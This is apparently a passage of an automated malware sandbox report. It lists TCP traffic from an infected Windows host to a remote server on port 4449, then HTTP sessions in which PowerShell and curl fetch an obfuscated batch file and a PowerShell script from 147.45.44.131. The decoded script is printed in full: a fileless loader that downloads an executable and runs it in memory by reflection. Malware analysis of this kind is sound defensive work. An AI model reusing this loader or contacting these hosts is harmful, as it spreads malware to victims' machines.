Jan 6, 2025 08:01:14.593116999 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:14.632958889 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:14.729032993 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:14.731137037 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:14.736006975 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:14.736053944 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:14.740879059 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:24.461447954 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:24.466260910 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:24.466331959 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:24.471106052 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:24.508567095 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:24.513406992 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:24.513480902 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:24.518280983 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:24.896766901 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:24.945508957 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:25.029798031 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:25.031394005 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:25.036218882 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:25.037842035 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:25.042675018 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:26.917603016 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:26.922533989 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:26.925791025 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:26.930687904 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:27.219202995 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:27.273720026 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:27.353817940 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:27.365550041 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:27.370452881 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:27.373903990 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:27.378746033 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:34.711457014 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:34.716290951 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:34.716466904 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:34.721292019 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:35.029602051 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:35.117341995 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:35.165874004 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:35.167489052 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:35.172255039 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:35.172734022 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:35.180823088 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:43.117994070 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:43.122888088 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:43.123815060 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:43.128647089 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:43.444257975 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:43.492388964 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:43.578028917 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:43.579566002 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:43.584487915 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:43.584549904 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:43.589426994 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:48.695907116 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:48.700731993 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:48.700800896 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:48.705615997 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:48.999157906 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:49.057641983 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:49.133991957 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:49.137666941 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:49.142473936 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:49.142585039 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:49.147490978 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:58.867805958 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:58.872735977 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:58.872814894 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:58.877665997 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:59.171700954 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:59.227701902 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:59.306056976 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:59.309140921 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:59.313918114 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:01:59.315748930 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:01:59.320550919 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:09.043766975 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:09.048868895 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:09.055766106 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:09.060554981 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:09.347834110 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:09.403752089 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:09.481956959 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:09.483453989 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:09.488256931 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:09.488428116 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:09.493288040 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:19.215540886 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:19.220542908 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:19.220643044 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:19.225423098 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:19.515070915 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:19.570689917 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:19.650089025 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:19.651582956 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:19.656354904 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:19.656483889 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:19.661226034 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:29.383656979 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:29.388690948 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:29.395911932 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:29.400738955 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:29.686852932 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:29.742620945 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:29.822030067 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:29.826021910 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:29.830795050 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:29.830933094 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:29.835721016 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:36.462004900 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:36.466998100 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:36.467096090 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:36.471909046 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:36.765924931 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:36.820780993 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:36.902138948 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:36.904134989 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:36.908941031 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:36.908992052 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:36.913784027 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:40.649198055 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:40.654062986 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:40.654148102 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:40.658984900 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:40.952601910 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:40.992672920 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:41.086091042 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:41.093542099 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:41.098393917 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:41.102099895 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:41.106955051 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:44.352608919 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:44.357532024 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:44.357589960 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:44.362323999 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:44.656306028 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:44.711416006 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:44.794116020 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:44.795542002 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:44.800399065 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:44.800472021 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:44.805284977 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:51.555574894 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:51.560528040 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:51.562110901 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:51.566962957 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:51.859149933 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:51.915512085 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:51.995729923 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:52.000016928 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:52.005225897 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:52.008143902 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:52.012917042 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.058350086 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.069992065 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.070087910 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.074831009 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.305911064 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.310839891 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.310899019 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.315659046 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.374494076 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.430219889 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.500406027 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.502444983 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.507270098 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.507333040 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.512160063 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.599900007 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.649002075 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.738312006 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.740160942 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.744956017 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:54.745002985 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:54.749819040 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:56.571244955 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:56.576070070 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:56.576117039 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:56.580941916 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:56.874106884 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:56.914695024 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:57.010185957 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:57.011455059 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:57.016294956 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:57.016360044 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:57.021187067 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:59.071402073 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:59.076416016 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:59.076515913 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:59.081357956 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:59.382189989 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:59.430272102 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:59.522196054 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:59.554620981 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:59.559443951 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:02:59.564143896 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:02:59.569020987 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:00.495874882 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:00.500883102 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:00.502115965 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:00.506932974 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:00.796336889 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:00.930391073 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:00.930778980 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:00.942641020 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:00.947514057 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:00.947618961 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:00.952410936 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:07.133838892 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:07.139029026 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:07.139100075 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:07.144694090 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:07.437185049 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:07.524065018 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:07.570241928 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:07.571091890 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:07.576368093 CET	4449	49707	157.20.182.177	192.168.2.5
Jan 6, 2025 08:03:07.576457977 CET	49707	4449	192.168.2.5	157.20.182.177
Jan 6, 2025 08:03:07.581262112 CET	4449	49707	157.20.182.177	192.168.2.5

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 07:59:09.469537020 CET	1.1.1.1	192.168.2.5	0xabab	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:59:09.469537020 CET	1.1.1.1	192.168.2.5	0xabab	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	147.45.44.131	80	7312	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:58:58.345124006 CET	278	OUT	GET /infopage/egq53qs.bat HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.44.131 Connection: Keep-Alive
Jan 6, 2025 07:58:58.972594976 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:58:58 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 04 Jan 2025 14:23:52 GMT ETag: "19b7-62ae225033bfb" Accept-Ranges: bytes Content-Length: 6583 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 40 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 65 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 63 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 68 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 6f 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 20 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 6f 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 66 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 66 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 0d 0a 73 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 65 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 74 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 6c 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 6f 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 63 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 61 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 [TRUNCATED] Data Ascii: @%%e%%c%%h%%o%% %%o%%f%%f%%s%%e%%t%%l%%o%%c%%a%%l%%s%%e%%t%% %%"%%u%%r%%l%%=%%h%%t%%t%%p%%:%%/%%/%%1%%4%%7%%.%%4%%5%%.%%4%%4%%.%%1%%3
Jan 6, 2025 07:58:58.972611904 CET	1236	IN	Data Raw: 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 31 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 2f 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 69 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 Data Ascii: %%1%%/%%i%%n%%f%%o%%p%%a%%g%%e%%/%
Jan 6, 2025 07:58:58.972621918 CET	448	IN	Data Raw: e5 b8 82 d5 94 25 68 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 65 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 61 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 64 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 Data Ascii: %h%%e%%a%%d%%e%%r%%V%%a%%l%%u%%e%%=%
Jan 6, 2025 07:58:58.972631931 CET	1236	IN	Data Raw: 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 44 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 48 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 58 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 Data Ascii: %%D%%H%%X%%g%%O%%E%%f%%P%%J%%j%%b%
Jan 6, 2025 07:58:58.972642899 CET	1236	IN	Data Raw: 94 25 46 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 62 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 32 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 47 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 Data Ascii: %F%%b%%2%%G%%Y%%q%%P%%i%%L%%h%%J%%q%
Jan 6, 2025 07:58:58.972652912 CET	1236	IN	Data Raw: b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 72 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 6f 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 66 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 69 Data Ascii: %r%%o%%f%%i%%l%%e%% %%-%%E%%x%%e%
Jan 6, 2025 07:58:58.972664118 CET	260	IN	Data Raw: 64 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 20 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 2d 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 94 25 22 25 c2 b4 d5 87 e3 82 8a e5 85 8b e2 97 95 e5 b8 82 d5 Data Ascii: d%% %%-%%"%%e%%n%%d%%l%%o%%c%%a%%l%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	147.45.44.131	80	7596	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:58:59.234352112 CET	194	OUT	GET /infopage/trwx.ps1 HTTP/1.1 Host: 147.45.44.131 User-Agent: curl/7.83.1 Accept: / X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Jan 6, 2025 07:58:59.860335112 CET	669	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:58:59 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 04 Jan 2025 14:22:17 GMT ETag: "1d1-62ae21f636c05" Accept-Ranges: bytes Content-Length: 465 Data Raw: 24 75 72 6c 20 3d 20 22 68 74 74 70 3a 2f 2f 31 34 37 2e 34 35 2e 34 34 2e 31 33 31 2f 69 6e 66 6f 70 61 67 65 2f 74 72 77 65 73 66 2e 65 78 65 22 0d 0a 24 77 63 54 79 70 65 20 3d 20 5b 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 5d 0d 0a 24 77 65 62 43 6c 69 65 6e 74 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 24 77 63 54 79 70 65 0d 0a 0d 0a 24 77 65 62 43 6c 69 65 6e 74 2e 48 65 61 64 65 72 73 2e 41 64 64 28 22 58 2d 53 70 65 63 69 61 6c 2d 48 65 61 64 65 72 22 2c 20 22 71 49 6e 78 38 46 33 74 75 4a 44 48 58 67 4f 45 66 50 4a 6a 62 61 69 70 59 61 53 45 31 6d 6f 62 4a 32 59 52 79 6f 32 72 6a 4e 67 6e 56 44 68 4a 76 65 76 4e 38 52 32 6b 75 38 6f 50 43 42 6f 6e 68 6d 70 7a 46 62 32 47 59 71 50 69 4c 68 4a 71 22 29 0d 0a 0d 0a 24 66 69 6c 65 42 79 74 65 73 20 3d 20 24 77 65 62 43 6c 69 65 6e 74 2e 44 6f 77 6e 6c 6f 61 64 44 61 74 61 28 24 75 72 6c 29 0d 0a 0d 0a 24 61 73 73 65 6d 62 6c 79 54 79 70 65 20 3d 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 2e 41 73 73 65 6d 62 6c [TRUNCATED] Data Ascii: $url = "http://147.45.44.131/infopage/trwesf.exe"$wcType = [System.Net.WebClient]$webClient = New-Object $wcType$webClient.Headers.Add("X-Special-Header", "qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq")$fileBytes = $webClient.DownloadData($url)$assemblyType = [System.Reflection.Assembly]$assembly = $assemblyType::Load([byte[]]$fileBytes)$entryPoint = $assembly.EntryPoint$entryPoint.Invoke($null, $null)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	147.45.44.131	80	7580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
